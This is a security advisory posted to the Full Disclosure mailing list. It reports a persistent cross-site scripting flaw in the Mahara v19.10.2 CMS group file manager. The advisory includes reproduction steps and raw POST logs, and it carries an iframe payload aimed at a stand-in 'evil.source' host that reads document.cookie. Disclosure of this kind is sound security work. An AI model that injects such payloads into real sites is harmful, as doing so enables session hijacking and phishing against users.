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Message-ID: <43cd019b-8535-80bf-7a84-dcda7eb9083d@vulnerability-lab.com> Date: Tue, 21 Apr 2020 15:58:53 +0200 From: Vulnerability Lab <research@...nerability-lab.com> To: fulldisclosure@...lists.org Subject: [FD] Mahara v19.10.2 CMS - Persistent Cross Site Scripting Web Vulnerability Document Title: =============== Mahara v19.10.2 CMS - Persistent Cross Site Scripting Web Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2217 Release Date: ============= 2020-04-21 Vulnerability Laboratory ID (VL-ID): ==================================== 2217 Common Vulnerability Scoring System: ==================================== 4.3 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== A fully featured electronic portfolio, weblog, resume builder and social networking system, connecting users and creating online communities. Mahara is designed to provide users with the tools to create a personal and professional learning and development environment. (Copy of the Homepage: https://launchpad.net/mahara & https://mahara.org/ ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a persistent cross site vulnerability in the Mahara v19.10.2 CMS web-application. Affected Product(s): ==================== Catalyst IT Ltd. Product: Mahara v19.10.2 - CMS (Web-Application) Vulnerability Disclosure Timeline: ================================== 2020-04-21: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted authentication (user/moderator) - User privileges User Interaction: ================= Low User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ A persistent input validation web vulnerability has been discovered in the official Mahara v19.10.2 CMS web-application series. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The persistent vulnerability is located in the `nombre` and `descripción` parameters of the `Ficheros` module in the `groupfiles.php` file. Remote attackers with low privileges are able to inject own malicious persistent script code as files and foldernames. The injected code can be used to attack the frontend or backend of the web-application. The request method to inject is POST and the attack vector is located on the application-side. Files are able to be reviewed in the backend by higher privileged accounts and can be shared. Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Ficheros (Files Manager) Vulnerable Input(s): [+] Crear Carpeta Vulnerable File(s): [+] groupfiles.php Vulnerable Parameter(s): [+] nombre [+] descripción Affected Module(s): [+] Página principal Proof of Concept (PoC): ======================= The persistent web vulnerability can be exploited by low privileged web application user account with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce ... 1. Open the web-application and login as regular user 2. Move inside the mygroup management 3. Open the ficheros tab on top 4. Inject test payload into the crear carpeta (Nombre & Descripción) input field for the página principal to output Note: The execution point occurs on edit, list and delete interaction 5. The created path listings are available for higher privileged user account that review (Backend) 6. Successul reproduce of the persistent cross site web vulnerability! PoC: Vulnerable Source (Inject via Crear Carpeta Input for Página Principal) <tr id="file:7191" class="file-item folder no-hover ui-droppable"> <td class="icon-cell"> <div class="icon-drag ui-draggable ui-draggable-handle" id="drag:7191" tabindex="0"> <span class="sr-only">Seleccionar y arrastrar para mover >"<iframe src=evil.source onload=alert(document.cookie)></iframe> >"<iframe src=evil.source onload=alert(document.cookie)></iframe></span> <span class="icon-folder-open icon icon-lg " role="presentation" aria-hidden="true"></span> </div></td> <td class="filename"> <a href="https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&folder=7191&owner=group&ownerid=27" id="changefolder:7191" class="inner-link changefolder"> <span class="sr-only">Carpeta:</span> <span class="display-title ">>"<iframe src=evil.source onload=alert(document.cookie)></iframe> >"<iframe src=evil.source onload=alert(document.cookie)></iframe></span> </a></td> <td class="filedescription d-none d-md-table-cell"> >"<iframe></iframe> >"<iframe></iframe></td> <td class="filesize"></td> <td class="filedate">20/04/2020</td> <!-- Ensure space for 3 buttons (in the case of a really long single line string in a user input field --> <td class="text-right control-buttons "> <div class="btn-group"> ... ... <button name="files_filebrowser_edit[7191]" class="btn btn-secondary btn-sm"> <span class="icon icon-pencil-alt icon-lg" role="presentation" aria-hidden="true"></span> <span class="sr-only">Edit folder "&gt;&quot;&lt;iframe src=evil.source onload=alert(document.cookie)&gt;&lt;/iframe&gt; &gt;&quot;&lt;iframe src=evil.source onload=alert(document.cookie)&gt;&lt;/iframe&gt;"</span></button> <button name="files_filebrowser_delete[7191]" class="btn btn-secondary btn-sm"> <span class="icon icon-trash-alt text-danger icon-lg" role="presentation" aria-hidden="true"></span> <span class="sr-only">Delete folder "&gt;&quot;&lt;iframe src=evil.source onload=alert(document.cookie)&gt;&lt;/iframe&gt; &gt;&quot;&lt;iframe src=evil.source onload=alert(document.cookie)&gt;&lt;/iframe&gt;"</span> </button></div></td> --- PoC Session Logs [POST] --- (Mygroup Ficheros) https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&folder=0&owner=group&ownerid=27 Host: mahara_cms.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------98107146915324237501974151621 Content-Length: 4879 Origin: https://mahara_cms.localhost:8080 Connection: keep-alive Referer: https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&folder=0&owner=group&ownerid=27 Cookie: __cfduid=d6b9845d834027b2fd8a2223c5b559f2f1587303558; mahara=82af10d7e4d0a63e1395d579d0d2f4ea8fb16a18b0e97378b0473c0cf32d1b76; folder=0&files_filebrowser_changefolder=&files_filebrowser_foldername=Página principal&files_filebrowser_uploadnumber=1&files_filebrowser_upload=0&MAX_FILE_SIZE=1610608640&files_filebrowser_license=& files_filebrowser_license_other=&files_filebrowser_licensor=&files_filebrowser_licensorurl=&files_filebrowser_resizeonuploaduserenable=on&userfile[]=&files_filebrowser_move=&files_filebrowser_moveto=&files_filebrowser_createfolder_name=&files_filebrowser_edit_orientation=0& files_filebrowser_edit_title=>"<iframe src=evil.source onload=alert(document.cookie)></iframe> >"<iframe src=evil.source onload=alert(document.cookie)></iframe>&files_filebrowser_edit_description=>"<iframe src=evil.source onload=alert(document.cookie)></iframe> >"<iframe src=evil.source onload=alert(document.cookie)></iframe>&files_filebrowser_permission:member:view=on&files_filebrowser_permission:member:edit=on& files_filebrowser_permission:member:republish=on&files_filebrowser_edit_license=&files_filebrowser_edit_license_other=& files_filebrowser_edit_licensor=>"<iframe src=evil.source onload=alert(document.cookie)></iframe> >"<iframe src=evil.source onload=alert(document.cookie)></iframe>&files_filebrowser_edit_licensorurl=>"<iframe src=evil.source onload=alert(document.cookie)></iframe> >"<iframe src=evil.source onload=alert(document.cookie)></iframe>&files_filebrowser_edit_allowcomments=on& files_filebrowser_update[7191]=Guardar cambios&sesskey=pFJC0a1dZWsy8rEA&pieform_files=&pieform_jssubmission=1,1,1 - POST: HTTP/2.0 200 OK content-type: text/html; charset=UTF-8 vary: Accept-Encoding cache-control: no-store, no-cache, must-revalidate set-cookie: mahara=82af10d7e4d0a63e1395d579d0d2f4ea8fb16a18b0e97378b0473c0cf32d1b76; path=/; secure; HttpOnly content-encoding: br X-Firefox-Spdy: h2- https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&folder=0&owner=group&ownerid= - Host: mahara_cms.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------126319663526561351602937008964 Content-Length: 3721 Origin: https://mahara_cms.localhost:8080 Connection: keep-alive Referer: https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&folder=0&owner=group&ownerid= Cookie: __cfduid=d6b9845d834027b2fd8a2223c5b559f2f1587303558; mahara=82af10d7e4d0a63e1395d579d0d2f4ea8fb16a18b0e97378b0473c0cf32d1b76; folder=0&files_filebrowser_changefolder=&files_filebrowser_foldername=Página principal&files_filebrowser_uploadnumber=1&files_filebrowser_upload=0&MAX_FILE_SIZE=1610608640&files_filebrowser_license=& files_filebrowser_license_other=&files_filebrowser_licensor=&files_filebrowser_licensorurl=&files_filebrowser_resizeonuploaduserenable=on&userfile[]=&files_filebrowser_move=&files_filebrowser_moveto=&files_filebrowser_createfolder_name=&files_filebrowser_delete[7192]=&files_filebrowser_edit_orientation=0&files_filebrowser_edit_title=&files_filebrowser_edit_description=&files_filebrowser_edit_license=& files_filebrowser_edit_license_other=&files_filebrowser_edit_licensor=&files_filebrowser_edit_licensorurl=& sesskey=pFJC0a1dZWsy8rEA&pieform_files=&pieform_jssubmission=1,1 - GET: HTTP/2.0 200 OK content-type: text/html; charset=UTF-8 vary: Accept-Encoding cache-control: no-store, no-cache, must-revalidate set-cookie: mahara=82af10d7e4d0a63e1395d579d0d2f4ea8fb16a18b0e97378b0473c0cf32d1b76; path=/; secure; HttpOnly content-encoding: br X-Firefox-Spdy: h2 Reference(s): https://mahara_cms.localhost:8080/artefact/ https://mahara_cms.localhost:8080/artefact/file/ https://mahara_cms.localhost:8080/artefact/file/groupfiles.php Security Risk: ============== The security risk of the persistent cross site scripting web vulnerability in the web-application is estimated as medium. Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 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